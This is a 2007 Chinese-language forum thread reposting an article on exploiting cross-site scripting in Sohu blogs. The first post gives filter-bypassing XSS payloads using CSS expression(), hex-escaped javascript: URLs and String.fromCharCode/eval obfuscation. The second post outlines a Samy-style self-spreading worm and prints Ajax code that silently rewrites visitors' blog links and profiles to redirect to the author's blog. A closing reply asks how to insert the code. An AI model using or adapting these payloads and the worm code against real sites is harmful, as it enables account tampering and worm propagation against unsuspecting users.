免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3904 | 回复: 3
打印 上一主题 下一主题

Ajax Hacking实战——打造XSS Trojan [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2007-08-14 11:07 |只看该作者 |倒序浏览
在黑防上给大家介绍Ajax Hacking技术有几期了,但一直没有实践过。这次给大家带来的就是一次实战的分析问题和解决问题的过程,而且是一个通用的打造“XSS Trojan”的全过程。由于这个过程也是藏在后台获取和发送用户信息的,和木马极为相似,所以文章的名字才叫XSS Trojan,但和网页木马是两码事哦!本来是准备给大家介绍怎样做XSS Worm的,可是因为起稿时是以Sohu博客做实战的,在数据提交时出现了问题,所以这里仅会简单地介绍一下它的思路,而在此之上,我们会一起去做这个记录用户名和密码的“木马脚本”(某些网站甚至可以不用脚本哦!)。\r\n\r\nXSS漏洞利用方式\r\n在Sohu的博客里,我发现的并且可以利用的XSS点有“个人档案”区(因为用户自建版块的性质和其相同,所以归为一类)和“文章发布”区。它们都没有过滤Style(层叠样式表)的注释信息,使得通过注释绕过的特殊脚本字符插入得以实现,利用方式如下:\r\n\r\n<img style=\"xss:expr/*XSS*/ession(alert(\'xss\'))\" />\r\n\r\n其中,“xss”这个属性可以随意拟定,改成“width”或“height”什么的都没有关系;“/*XSS*/”为注释的内容,内容也可以随意指定;但是在注释两边的字符除了左右位置可以改变,具体的值是不能改变的,因为它们连起来正是我曾经提到过的三个特殊的引起事件的标志之一——“expression”,由于IE会忽略掉样式表中的注释,从而使得我们的XSS脚本代码可以顺利执行。\r\n\r\n不过,这样的代码在“个人档案”里可以执行,但在“文章发布”里却会被二次过滤(即在转向文章页面的客户端加载的时候会被过滤掉);而且由于expression是不间断地加载的,所以会使电脑的CPU占用率很高(大家可以打开资源管理器,在有“expression”的网页上快速移动鼠标,就会看到CPU占用率迅速飙升);并且“expression”是IE的专利,在Firefox下是不支持的,这使我们不能编写通用的XSS脚本。所以,我们要采取另一种插入跨站方式——编码,Sohu博客对于脚本编码没有过滤的是16进制的Java式编码,利用方式如下:\r\n\r\n
  1. <DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028\\006A\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\\r\n\r\n0070\\0074\\003A\\0061\\006C\\0065\\0072\\0074\\0028\\0027\\0058\\\r\n\r\n0053\\0053\\0027\\0029\\0029\">
复制代码
\r\n\r\n转码之前的代码为:\r\n\r\n
  1. <DIV STYLE=\"background-image:url(javascript:alert(\'XSS\')) \">
复制代码
\r\n\r\n但是由于“javascript:”对于复杂的复合式脚本代码显得力不从心,所以我们不得不对代码进行一些改进。Samy(著名的Myspace Worm)采取的方法是把执行代码写进标签另一属性里,并通过Document对象调用,使用Eval执行,比如下面的代码。\r\n\r\n<div id=\"mycode\" expr=\"alert(\'xss\')\" style=\"background:url(\'javascript:eval(document.all.mycode.expr)\')\">\r\n\r\n但是由于Sohu博客禁止除Style以外的属性,所以这种方式对我们不适用,我们只能直接把代码写进Eval里。但此时利用代码仍没有完成——由于我们对Style属性用了双引号,对UEL用了单引号,因此在Eval这个函数里就不能再有引号了,否则就会混淆。Samy的方法是对单引号和双引号进行相应转换:\r\n\r\n
  1. var B=String.fromCharCode(34);var A=String.fromCharCode(39);
复制代码
\r\n\r\n//34为双引号十进制,39为单引号十进制\r\n\r\n但我们这里事实上在Eval本身时就已经没有引号可用了,更别提语句里面的,所以这个方法无效。我所采取地是把整个XSS代码全部转换为十进制,然后用String.fromCharCode解码,用Eval执行。这样,内部代码可以随意用单引号,而不会影响代码本身,所以测试字符转换如下:\r\n\r\n
  1. <DIV STYLE=\"background-image:url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41,59))) \">
复制代码
\r\n\r\n再加上上面的16进制编码,完整的利用方式如下:\r\n\r\n
  1. <DIV STYLE=\"background-image: \\0075\\0072\\006c\\\r\n\r\n0028\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0065\\\r\n\r\n0076\\0061\\006c\\0028\\0053\\0074\\0072\\0069\\006e\\0067\\002e\\0066\\\r\n\r\n0072\\006f\\006d\\0043\\0068\\0061\\0072\\0043\\006f\\0064\\0065\\0028\\0039\\0037\\\r\n\r\n002c\\0031\\0030\\0038\\002c\\0031\\0030\\0031\\002c\\0031\\0031\\0034\\\r\n\r\n002c\\0031\\0031\\0036\\002c\\0034\\0030\\002c\\0033\\0039\\002c\\0031\\0032\\\r\n\r\n0030\\002c\\0031\\0031\\0035\\002c\\0031\\0031\\0035\\002c\\0033\\0039\\\r\n\r\n002c\\0034\\0031\\002c\\0035\\0039\\0029\\0029\\0029\">
复制代码

论坛徽章:
0
2 [报告]
发表于 2007-08-14 11:08 |只看该作者
XSS Worm的构造思路\r\n\r\n其实我最初只打算学着Samy做个Worm来着,可是后来由于Sohu似乎把个人博客首页与个人资料设置页面放在不同的服务器上,导致最终代码在本地可以顺利执行,到了远程就会提示没有权限(这个仅是本人的一点猜想,如果有不同意见的高手不妨指点一二)。所以这里仅讲一下XSS Worm的制作思路,方便大家以后做XSS Worm。\r\n\r\n该Worm的功能为在Sohu用户访问者的博客的友情链接里写入“Monyer id My Hero !”(仿samy,呵呵),在用户的个人档案里写入“window.location.href=我的博客”(上文提到的expression利用方式)。这样每一个进入我的博客的用户都会被插入以上两项,每一个浏览他们博客的用户都会直接转到我的博客——即实现worm功能。之所以不直接把worm代码写进他们的文章里是因为,一是由于这个写进div的代码没有id,不好指定(虽然通过document.documentElement.innerHTML,并依照特征值取具体代码是可以的,但是相对来说比较麻烦),二是在写文章时Sohu会为这篇文章设一个临时的“aid”,类似于我们所常见的验证码,使得直接在他们的博客里写文章无法实现(我估计这个是为了防止用户用程序刷写文章而放置的)。所以我们可以构造如下代码(提交参数和提交方式是通过抓包得知的):\r\n\r\n
  1. window.onload=function x(){\r\n\r\n       var a=new ActiveXObject(\'Microsoft.XMLhttp\');\r\n\r\n       a.Open(\'get\',\'http://monyer.blog.Sohu.com/manage/link.do?m=add&title=Monyer&desc=Monyer%20is%20my%20hero%\r\n\r\n20%21&link=http%3A//monyer.blog.Sohu.com/&_\',true);\r\n\r\n       a.send(null);\r\n\r\n       var b=new ActiveXObject(\'Microsoft.XMLhttp\');\r\n\r\n       b.Open(\'post\',\'http://monyer.blog.Sohu.com/manage/profile.do?image=http%3A%2F%2Fphoto.pic.Sohu.com%2Fimages%2Foldblog%2Fperson%2F11111.gif&icon=http%3A%2F%2Fimg3.pp.Sohu.com%2Fppp%2Fblog%2Fimages%2Fcommon%2Fnobody.gif&change=true&detailDesc=%3Cimg+style%3D%22display%3Anone%\r\n\r\n3Bxss%3Aexpr%2F*XSS*%2Fession%28window.location.href%3D%27http%3A%2F%2Fmonyer.blog.Sohu.com%27%29%22+%2F%3E%0D%0A&m=update&submit=%B1%A3+%B4%E6\',true);\r\n\r\n       b.send(null);\r\n\r\n}
复制代码
然后把代码先依照上面做十进制转换,放在url(\'javascript:eval(String.fromCharCode())\')里,再进行16进制转码后放在<div style=\"BACKGROUND-image: \">里,就可以了,代码过长就不贴出来了。为了大家转码方便,我用JS做了一个有20多个功能的编码转码页面,已随之提供了(花了我两天的时间啊),所有的操作大家都可以利用它来转码和调试。

论坛徽章:
0
3 [报告]
发表于 2007-08-14 11:20 |只看该作者
我想问一下\r\n我这些不是很懂\r\n这些代码我怎么插入啊
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP